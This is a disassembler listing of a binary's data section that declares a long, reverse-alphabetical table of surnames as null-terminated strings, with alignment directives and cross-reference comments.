aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E030o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E02Co
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E028o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E024o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E020o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E01Co
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E018o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E014o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E010o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E00Co
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E008o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E004o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E000o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFFCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFF8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFF4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFF0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFECo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFE8o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFE4o
		align 4
aLinder		db 'Linder',0
		align 10h
aLinda		db 'Linda',0
		align 4
aLinares	db 'Linares',0
aLim		db 'Lim',0
aLightfoot	db 'Lightfoot',0
		align 10h
aLight		db 'Light',0
		align 4
aLiem		db 'Liem',0
		align 10h
aLidano		db 'Lidano',0
		align 4
aLiakos		db 'Liakos',0
		align 10h
aLessi		db 'Lessi',0
		align 4
aLesser		db 'Lesser',0
		align 10h
aLEnclos	db 'l',27h,'Enclos',0
		align 4
aLenard		db 'Lenard',0
		align 4
aLeite		db 'Leite',0
		align 4
aLeclercq	db 'Leclercq',0
		align 4
aLecce		db 'Lecce',0
		align 10h
aLecar		db 'Lecar',0
		align 4
aLawless	db 'Lawless',0
aLashley	db 'Lashley',0
aLaserna	db 'Laserna',0
aLanzit		db 'Lanzit',0
		align 4
aLantieri	db 'Lantieri',0
		align 4
aLankes		db 'Lankes',0
		align 4
aLandes		db 'Landes',0
		align 4
aLallemant	db 'Lallemant',0
		align 10h
aLaing		db 'Laing',0
		align 4
aLafler		db 'Lafler',0
		align 10h
aLabunka	db 'Labunka',0
aLa		db 'La',0
		align 4
aKuwabara	db 'Kuwabara',0
		align 4
aKusman		db 'Kusman',0
		align 10h
aKumar		db 'Kumar',0
		align 4
aKuenzli	db 'Kuenzli',0
aKrysiak	db 'Krysiak',0
aKroemer	db 'Kroemer',0
aKraus		db 'Kraus',0
		align 4
aKrasney	db 'Krasney',0
aKrailo		db 'Krailo',0
		align 4
aKraemer	db 'Kraemer',0
aKovaks		db 'Kovaks',0
		align 4
aKotter		db 'Kotter',0
		align 10h
aKorzybski	db 'Korzybski',0
		align 4
aKool		db 'Kool',0
		align 4
aKonrad		db 'Konrad',0
		align 4
aKoniaris	db 'Koniaris',0
		align 4
aKommer		db 'Kommer',0
		align 10h
aKoivumaki	db 'Koivumaki',0
		align 4
aKohn		db 'Kohn',0
		align 4
aKoch		db 'Koch',0
		align 4
aKobrick	db 'Kobrick',0
aKnuff		db 'Knuff',0
		align 4
aKlint		db 'Klint',0
		align 4
aKlinkenborg	db 'Klinkenborg',0
aKling		db 'Kling',0
		align 4
aKlemperer	db 'Klemperer',0
		align 4
aKleinfelder	db 'Kleinfelder',0
aKleiman	db 'Kleiman',0
aKleckner	db 'Kleckner',0
		align 4
aKittridge	db 'Kittridge',0
		align 10h
aKirscht	db 'Kirscht',0
aKippenberger	db 'Kippenberger',0
		align 4
aKinsley	db 'Kinsley',0
aKindall	db 'Kindall',0
aKimura		db 'Kimura',0
		align 10h
aKimmett	db 'Kimmett',0
aKimmel		db 'Kimmel',0
		align 10h
aKhong		db 'Khong',0
		align 4
aKeul		db 'Keul',0
		align 10h
aKerry		db 'Kerry',0
		align 4
aKendall	db 'Kendall',0
aKemsley	db 'Kemsley',0
aKempton	db 'Kempton',0
aKelsey		db 'Kelsey',0
		align 4
aKelker		db 'Kelker',0
		align 10h
aKeith		db 'Keith',0
		align 4
aKeepper	db 'Keepper',0
aKeenan		db 'Keenan',0
		align 4
aKee		db 'Kee',0
aKawachi	db 'Kawachi',0
aKasten		db 'Kasten',0
		align 4
aKassower	db 'Kassower',0
		align 4
aKarpouzes	db 'Karpouzes',0
		align 4
aKangis		db 'Kangis',0
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE94o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE90o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE8Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE88o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE84o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE80o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE7Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE78o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE74o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE70o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE6Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE68o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE64o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE60o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE5Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE58o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE54o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE50o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE4Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE48o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE44o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE40o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE3Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE38o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE34o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE30o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DE2Co
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042DE28o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DE24o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DE20o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DE1Co
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DE18o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DE14o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DE10o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DE0Co
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DE08o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DE04o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DE00o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDFCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDF8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDF4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDF0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDECo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDE8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDE4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDE0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDDCo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDD8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDD4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDD0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DDCCo
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DDC8o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DDC4o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DDC0o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DDBCo
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DDB8o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DDB4o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DDB0o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DDACo
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DDA8o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DDA4o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DDA0o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD9Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD98o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD94o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD90o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD8Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD88o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD84o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD80o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD7Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD78o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD74o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD70o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD6Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD68o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD64o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD60o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD5Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD58o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD54o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD50o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD4Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD48o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD44o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD40o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD3Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD38o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD34o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD30o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DD2Co
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DD28o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DD24o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DD20o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DD1Co
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DD18o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DD14o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DD10o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DD0Co
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DD08o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DD04o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DD00o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCFCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCF8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCF4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCF0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCECo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCE8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCE4o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCE0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCDCo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCD8o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCD4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCD0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DCCCo
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DCC8o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DCC4o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DCC0o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DCBCo
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DCB8o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DCB4o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DCB0o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DCACo
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DCA8o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DCA4o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DCA0o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC9Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC98o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC94o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC90o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC8Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC88o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC84o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC80o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC7Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC78o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC74o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC70o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC6Co
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC68o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC64o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC60o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC5Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC58o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC54o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC50o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC4Co
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC48o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC44o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC40o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC3Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC38o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC34o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC30o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DC2Co
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DC28o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DC24o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DC20o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DC1Co
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DC18o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DC14o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DC10o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DC0Co
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DC08o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DC04o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DC00o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBFCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBF8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBF4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBECo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBE8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBE4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBE0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBDCo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBD8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBD4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DBCCo
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DBC8o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DBC4o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DBC0o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DBBCo
aFink		db 'Fink',0             ; DATA XREF: ___:0042DBB8o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DBB4o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042DBB0o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DBACo
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DBA8o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DBA4o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DBA0o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB9Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB98o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB94o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB90o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB8Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB88o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB84o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB80o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB7Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB78o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB74o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB70o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB6Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB68o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB64o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB60o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB5Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB58o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB54o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB50o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB4Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB48o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB44o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB40o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB3Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB38o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB34o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB30o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DB2Co
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DB28o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DB24o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DB20o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DB1Co
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DB18o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DB14o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DB10o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DB0Co
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DB08o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DB04o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DB00o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DAFCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAF8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAF4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAF0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DAECo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAE8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAE4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAE0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042DADCo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAD8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAD4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAD0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DACCo
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DAC8o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DAC4o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DAC0o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DABCo
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DAB8o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DAB4o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DAB0o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DAACo
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DAA8o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DAA4o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DAA0o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA9Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA98o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA94o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA90o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA8Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA88o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA84o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA80o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA7Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA78o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA74o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA70o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA6Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA68o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA64o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA60o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA5Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA58o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA54o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA50o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA4Co
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DA48o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA44o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA40o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA3Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA38o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA34o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA30o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DA2Co
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DA28o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DA24o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DA20o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DA1Co
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DA18o
aCui		db 'Cui',0              ; DATA XREF: ___:0042DA14o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DA10o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DA0Co
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DA08o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DA04o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DA00o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9FCo
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9F8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9F4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9F0o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9ECo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9E8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9E4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9E0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9DCo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9D4o
					; ___:0042D9D8o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9D0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D9CCo
aColella	db 'Colella',0          ; DATA XREF: ___:0042D9C8o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D9C4o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D9C0o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D9BCo
aClow		db 'Clow',0             ; DATA XREF: ___:0042D9B8o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D9B4o
aClement	db 'Clement',0          ; DATA XREF: ___:0042D9B0o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D9ACo
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D9A8o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D9A4o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D9A0o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D99Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D998o
		align 10h
